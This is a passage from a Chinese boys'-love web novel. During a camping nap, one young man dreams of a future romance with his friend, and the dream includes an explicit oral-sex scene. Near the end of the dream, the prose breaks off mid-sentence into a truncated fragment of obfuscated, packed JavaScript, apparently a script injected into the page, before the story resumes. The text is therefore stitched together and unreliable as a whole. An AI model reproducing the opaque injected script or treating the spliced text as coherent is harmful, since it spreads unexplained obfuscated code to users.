此时的越鸣玉就像是烤架里烧得通红的木炭,如果时间再长一些,说不定还能看到这家伙头顶冒的青烟。 偏偏他又不能真的在这儿闹翻脸。他们还在露营当中,居渡的体验感是第一位,他必须要照顾好居渡的情绪,绝不能坏了居渡的好心情。 但是当他看到居渡去吃其他人烤的烧烤时,越鸣玉又能明显感受到珍贵事物被夺走一般很不愉快。尤其是接近居渡的这两人还不怀好心。 众人吃完烧烤都打算去到帐篷中休息,接下来的两个小时是全天中最热的时候,显然没必要一直待在太阳底下晒着。 居渡和越鸣玉也回了帐篷。他们的帐篷旁有一棵大树,那顶帐篷正好在树荫下方。 进到帐篷里面不会感到太过闷热,虽然帐篷里的空间不大,但也不会过多逼仄。居渡和越鸣玉躺在里面,帐篷正打开透着气。 偶尔有一阵风吹过,树叶便会沙沙作响。大家都进到帐篷里休息,周围变得格外安静。 吃饱喝足的居渡逐渐产生了困意,他对越鸣玉说了句:“我要睡了。” “睡吧。”越鸣玉低声回着。 在居渡睡觉的时候,越鸣玉没发出任何声音,他的身体甚至连动都没动。越鸣玉枕着手臂看向帐篷顶,不时又侧过眼神盯着已经睡着的居渡。 一直待在居渡身边已经成为了他人生中再正常不过的事情。现在居渡睡得离他很近,能清楚地听到居渡的呼吸声,他却觉得依然隔得相当遥远。 未来谁都没有办法确定。最后居渡究竟会去哪儿,他们的关系到底会变成什么样,都不得而知。 之后的日子充满着不确定性,又想起沈予归和颜斐章那两个家伙。越鸣玉皱起眉来,越发焦躁不悦。 那两人都是非常难缠的类型,就算解决了他们两人,之后也会有更多人冲上来。越鸣玉恨不得一人一拳把他们全都从居渡的世界里轰出去。 越想越不是个滋味,心中异常憋闷,他厌烦这两人是毋庸置疑的,一切对居渡抱有恋爱情感的家伙他都不可能喜欢上。 包括他自己。 凌晨越鸣玉没怎么睡,这会儿想着杂七杂八的事情居然也睡着了。 帐篷外是耀眼热烈的阳光和郁郁葱葱的树林,帐篷内是并排而眠的两人。 已经睡着的两个人看起来没有任何烦恼,那些隐藏着的烦人思绪,似乎随着带有闷热气息的风一同吹走。 22. 第22章 帐篷外很安静,只有风吹动树叶发出的沙沙响声。躺在帐篷中的居渡睡得很沉,他还做了个梦。这个梦倒是有点奇怪,里面居然出现了越鸣玉。 他的意识像是清醒着,又像是早已昏沉着陷入了梦境之中。 “你在看什么?”声音的主人突然凑了上来,低低沉沉的。 居渡抬头看过去,面前出现的赫然是越鸣玉的脸。 他吓了一大跳,因为他的记忆明明还停留在他们一起去露营。这难不成是梦境吗,可是此时越鸣玉的五官又太过清晰。 “怎么了?”越鸣玉低声问道,他不太理解居渡类似被吓到的反应。 居渡没有说话,他转头看了看四周。 这是一间极其陌生的卧室,不是他和越鸣玉任何一方的房间。房间中的布置明显是用了心的,甚至一些小物件都成双成对地摆放在那儿。 这让居渡又下意识低头看了看自己坐着的地方,他正坐在床边,被褥柔软蓬松。 这张床还是一张双人大床。 莫名其妙地出现在完全陌生的环境中,对居渡的冲击力自然是不小。他又将视线放在站在他面前的越鸣玉身上。 这时候的越鸣玉似乎刚洗完澡,穿着黑色的背心和短裤。蜜色的肌肤裸露出大半,肌理分明的手臂和结实柔韧的胸膛,每一处都在吸引着他人的注意力,这具身躯实打实地成熟而性感。 居渡一言不发地把目光移到越鸣玉的脸上。 虽然面前的人的确是越鸣玉,但仔细看还是有些不同。这家伙的短发似乎留长了一些,眉目中透出的凶狠意味褪去不少,整个人的气势也不再那么具有压迫感。 明明越鸣玉的五官没怎么变,居渡却莫名有种奇怪的感觉。对方一定不是“现在”的越鸣玉,至少不是和自己同样年龄的越鸣玉。 他真是做了一个非常奇怪的梦。 “越鸣玉。”以防万一,居渡还是出声想要确认一下面前的男人到底是谁。 被叫到名字的越鸣玉越发觉得今天的居渡不太对劲,是最近工作太多累到了吗,而且现在的居渡给他的感觉反而更像是大学时期的居渡。 想到这里越鸣玉的喉咙就有些发痒,和居渡确定关系再大学毕业后也已经同居了好几年,步入社会每天工作的日子都大差不差。 当时的他怎么都没想到可以和居渡成为这样的关系。 “累了吗,还是想做了?居渡,我的身体随时欢迎你。”越鸣玉意有所指,他的声音沉了下来,带着点压低的沙哑感。 居渡:······ 越鸣玉这家伙在说什么呢,居渡突然有种强烈的不太好的预感。 “我和你是什么关系。”居渡边看着越鸣玉的眼睛边开口问着。 谁知道越鸣玉听到居渡说的这句话反而瞬间眉头紧锁,他这个时候倒是有年轻时那种又凶又霸道的感觉了。“什么?做完不认人,居渡,你想赖帐吗!” 即使已经和居渡在一起这么久了,他也还是害怕爱人哪一天会离开自己。这种情感无法袒露出来,他不想让居渡觉得他是一个糟糕的家伙。 “是太久没放松了吗,最近你太忙了,都说了让你好好休息。”越鸣玉紧接着又说出一句话,将自身情绪掩饰起来。 他说完之后立刻低下身跪在居渡的面前,动作倒是一点都不粗鲁,但非常迅速利落,像是这种事已经做了很多遍似的。 居渡甚至都还没来得及反应,越鸣玉就已经用手掌摩擦上来。 眼神向上直视着居渡的眼睛,带着和他凶狠的五官截然相反的情色意味,声音低沉暧昧。“我会帮你好好解决的。” 瞬间居渡就觉得他整个人都不好了。 他到底是在做什么梦,为什么梦中的越鸣玉就这样自然而然地开始为他做这种事了。 “越鸣玉!你在做什么?”居渡下意识地伸手推了下越鸣玉的头,这家伙的脑袋不正常了吗。这时候他倒是可以确定这一定是梦境,但为什么自己会做这种梦居渡是真的不理解。 被越鸣玉含住的触感太过清晰,就像是在现实中发生的事情一样。这让居渡感到别扭又奇怪。 越鸣玉的脸被居渡阻拦着用手推开,他紧皱着眉,眼底却明显透露出一些不安。他的嘴还没有完全合起来,保持着半张着的姿势。 “平常我不是都会这样帮你的吗?今天到底是怎么了,是哪里不舒服?”越鸣玉直直看向居渡的眼睛,说第一句话的时候略带着些不安,随后便开始担心起居渡的身体情况。 睡前做这种事让居渡的身体得到放松,他又不是没做过,而且他每一次都很谨慎。所以越鸣玉不是很明白面前的爱人为什么会表现出如此抗拒的反应。 虽然越鸣玉的面庞和身体显然要比当初成熟很多,但是一直不变的是那抹从骨子里透出来的野兽一样的凶猛气势。 一时间居渡有些说不出话,他到底在他自己的梦里扮演着什么样的角色。 越鸣玉心甘情愿帮他这一点就足够让人感到怪异了,这话说的又好像他们已经在一起了一样。 见居渡不说话,也不再看向自己。但看起来应该不是有哪里不舒服,越鸣玉稍微放下心来,就接着做他已经做了无数次的事情。 越鸣玉继续垂下头张开嘴,还不忘用指腹轻轻磨蹭着,想让居渡的身体慢慢放松下来。他的心脏跟着急速颤动起来,无论为居渡做多少次这种事情,他依然会觉得面红耳热。 这个有着蜜色皮肤体格高大强健的男人,正安安分分地跪在居渡的面前。 从居渡这个角度看,刚好能看见越鸣玉被黑色背心包裹住的隆起而结实的胸膛。薄薄的布料下是柔韧紧致的胸肌,弧度若隐若现。 居渡还没来得及给出什么反应,越鸣玉就又继续做了下去。这次像是怕被立即拒绝似的,动作上还带着些不顾一切的狠劲。 “呃——”这让居渡下意识地闭了一下眼睛,他的手顺势放在了越鸣玉的耳旁,不知道是想要阻止还是希望对方不要停下来。 在让居渡放松的时候,越鸣玉还微微侧了侧头,让他的脸能被居渡放在他耳旁的掌心轻轻摩擦着。平日里双眼总是会透露出几分凶狠,此时他整个人却表现得无比温顺。 很难想象这个在私生活方面不愿意和旁人打交道,又总是一脸凶相作风强势的男人,居然能这么自然地做出这种像宠物渴求主人怜爱一般的举动。 当然,把越鸣玉比喻成讨人喜欢的家养宠物一定是不合适的。 这个男人完全就是那种更加危险和具有侵略性的猛兽,如今却是一副被主人套上项圈的温驯模样,反差感十足。 “咕噜——”一声,越鸣玉的喉结不断上下滚动着,不停咽下口腔中分泌出来的口水。他的手也没停下,依然用一种恰到好处的力气抚摸上去。 被服务的感觉十分明显,酥酥麻麻的快感顺着脊椎爬上大脑。但一想到面前跪着的人是越鸣玉,居渡的胃就开始疼了起来。 这个梦暂时无法醒过来,仿佛是要让他做完才能脱离这个梦境似的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你喜欢我吗,越鸣玉。”居渡不知道他为什么会突然说出这句话,说出口时他也吓了一跳。 白色的光晕正逐渐吞噬着周围的一切。 越鸣玉虽然不理解居渡为什么会这样问他,但还是毫不犹豫地给出了回答。他的声音有些发哑,语气里却满是不容置疑的坚定。 “哈?你说什么呢。我当然爱你啊,居渡。” 梦,戛然而止。 “啊呃——”居渡猛地睁开眼睛。他的额头出了点汗,呼吸也有些乱,直愣愣地看着帐篷顶。 大概过了三秒钟他的意识才回到他的脑中,居渡坐起身来看了看周围。身边躺着越鸣玉,帐篷外依然很安静,阳光撒在草地上。 一切仿佛都没有改变。 “怎么了,居渡。”越鸣玉察觉到动静后清醒过来,他一睁开眼就看到居渡坐在原处发呆。 这让越鸣玉猛然意识到了不对,他立刻坐起身查看居渡的反应,语气带着明显的担心和慌乱。“居渡,哪里不舒服?!” 居渡彻底回过神来,他看着面前的越鸣玉说了句:“没事。” 他刚刚好像做了一个非常奇怪的梦,醒过来后却发现梦的内容模模糊糊的,根本记不起来发生了什么。 唯一感觉应该是和面前的越鸣玉有关。 居渡下意识地觉得自己不能继续往下想了,不然面对的可能就会是非常糟糕的事情。